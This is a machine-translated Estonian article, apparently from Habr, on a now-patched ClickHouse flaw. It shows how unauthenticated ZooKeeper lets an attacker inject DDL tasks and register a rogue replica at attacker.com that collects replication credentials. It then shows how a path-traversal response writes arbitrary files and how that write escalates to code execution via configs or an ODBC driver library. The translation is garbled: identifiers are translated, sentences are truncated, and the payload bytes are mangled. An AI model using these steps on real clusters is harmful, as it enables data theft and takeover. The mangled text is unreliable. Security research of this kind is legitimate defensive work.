See artikkel räägib väga spetsiifilisest haavatavusest ClickHouse'i replikatsiooniprotokollis ja näitab ka, kuidas saab rünnakupinda laiendada.
ClickHouse on andmebaas suurte andmemahtude salvestamiseks, kasutades enamasti rohkem kui ühte koopiat. Klasterdamine ja replikatsioon ClickHouse'is on üles ehitatud
ZK vaikeinstallimine ei vaja autentimist, seega on tuhanded Kafka, Hadoopi ja ClickHouse'i konfigureerimiseks kasutatavad ZK-serverid avalikult saadaval.
Ründepinna vähendamiseks peaksite ZooKeeperi installimisel alati konfigureerima autentimise ja autoriseerimise
Muidugi on mõned 0-päevased Java deserialiseerimised, kuid kujutage ette, et ründaja võiks lugeda ja kirjutada ZooKeeperisse, mida kasutatakse ClickHouse'i replikatsiooniks.
Kui ClickHouse on konfigureeritud klastrirežiimis, toetab see hajutatud päringuid /clickhouse/task_queue/ddl
.
Näiteks loote sõlme /clickhouse/task_queue/ddl/query-0001
sisuga:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
ja pärast seda kustutatakse testtabel klastri serverites host1 ja host2. DDL toetab ka CREATE/ALTER/DROP päringute käitamist.
Kõlab hirmutavalt? Aga kust saab ründaja serveri aadresse?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
sõlmed luuakse veerud и metaandmed.
Sisu /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Kas selle klastri andmeid on võimalik liita? Jah, kui replikatsiooniport (TCP/9009
) serveris chXX-address
tulemüüri ei suleta ja replikatsiooni autentimist ei konfigureerita. Kuidas autentimisest mööda minna?
Ründaja saab ZK-s luua uue koopia, lihtsalt kopeerides selle sisu /clickhouse/tables/01-01/foobar/replicas/chXX
ja tähenduse muutmine host
.
Sisu /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Seejärel peate teistele koopiatele ütlema, et ründaja serveris on uus andmeplokk, mille nad peavad võtma – ZK-s luuakse sõlm /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX monotoonselt kasvav loendur, mis peaks olema suurem kui sündmuste logi viimane):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
kus allika_replica — eelmises etapis loodud ründaja koopia nimi, block_id — andmeploki identifikaator, saama - käsk "get block" (ja
Järgmisena loeb iga replika logis uut sündmust ja läheb ründaja juhitavasse serverisse, et saada vastu andmeplokk (replikatsiooniprotokoll on binaarne, töötab HTTP-l). Server attacker.com
saab taotlusi:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
kus XXX on replikatsiooni autentimisandmed. Mõnel juhul võib see olla konto, millel on juurdepääs andmebaasile ClickHouse'i põhiprotokolli ja HTTP-protokolli kaudu. Nagu olete näinud, muutub ründepind kriitiliselt suureks, kuna replikatsiooniks kasutatav ZooKeeper jäi ilma autentimist konfigureerimata.
Vaatame koopiast andmeploki hankimise funktsiooni, see on kirjutatud täie kindlusega, et kõik koopiad on nõuetekohase kontrolli all ja nende vahel on usaldus.
replikatsiooni töötlemise kood
Funktsioon loeb failide loendit, seejärel nende nimesid, suurusi, sisu ja kirjutab need seejärel failisüsteemi. Eraldi tasub kirjeldada, kuidas failisüsteemis andmeid hoitakse.
Seal on mitu alamkataloogi /var/lib/clickhouse
(vaikimisi salvestuskataloog konfiguratsioonifailist):
lipud - salvestamise kataloog
tmp — kataloog ajutiste failide hoidmiseks;
kasutaja_failid — päringutes olevate failidega tehtavad toimingud on piiratud selle kataloogiga (INTO OUTFILE ja teised);
metaandmed — sql-failid tabelikirjeldustega;
eeltöödeldud_konfiguratsioonid - töödeldud tuletatud konfiguratsioonifailid /etc/clickhouse-server
;
andmed - tegelik kataloog andmete endaga, sellisel juhul luuakse siin iga andmebaasi jaoks lihtsalt eraldi alamkataloog (näiteks /var/lib/clickhouse/data/default
).
Iga tabeli jaoks luuakse andmebaasi kataloogis alamkataloog. Iga veerg on eraldi fail sõltuvalt
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Replika loodab andmeploki töötlemisel saada samade nimedega faile ega valideeri neid mingil viisil.
Tähelepanelik lugeja on ilmselt juba kuulnud faili faili_nimi ebaturvalisest liitmisest funktsioonis WriteBufferFromFile
. Jah, see võimaldab ründajal kirjutada suvalise sisu FS-i mis tahes kasutajaõigustega faili clickhouse
. Selleks peab ründaja juhitav koopia päringule tagastama järgmise vastuse (arusaadavuse hõlbustamiseks on lisatud reavahetused):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
ja pärast ühendamist ../../../../../../../../../tmp/pwned
fail kirjutatakse /tmp/pwned sisuga tere loomaaiapidajast.
Failide kirjutamise võimaluse muutmiseks koodi kaugkäivituseks (RCE) on mitu võimalust.
Välissõnastikud RCE-s
Vanemates versioonides oli ClickHouse'i sätetega kataloog salvestatud kasutajaõigustega clickhouse vaikimisi. Seadefailid on XML-failid, mida teenus loeb käivitamisel ja seejärel salvestab vahemällu /var/lib/clickhouse/preprocessed_configs
. Muudatuste ilmnemisel loetakse need uuesti. Kui teil on juurdepääs /etc/clickhouse-server
ründaja saab luua oma root
.
ODBC kuni RCE
Paketi installimisel luuakse kasutaja clickhouse
, kuid selle kodukataloogi ei looda /nonexistent
. Kuid väliste sõnaraamatute kasutamisel või muudel põhjustel loovad administraatorid kataloogi /nonexistent
ja anna kasutajale clickhouse
juurdepääs sellele kirjutamiseks (SSZB! u. tõlkija).
ClickHouse toetab odbc-bridge
, mistõttu ei ole enam võimalik päringust juhi teed määrata. Kuid kas ründaja saab ülalkirjeldatud haavatavust kasutades kodukataloogi kirjutada?
Loome faili ~/.odbc.ini
sellise sisuga:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
siis käivitamisel SELECT * FROM odbc('DSN=lalala', 'test', 'test');
raamatukogu laaditakse test.so
ja sai RCE (aitäh
Need ja teised haavatavused on parandatud ClickHouse'i versioonis 19.14.3. Hoolitse oma ClickHouse'i ja ZooKeeperite eest!
Allikas: www.habr.com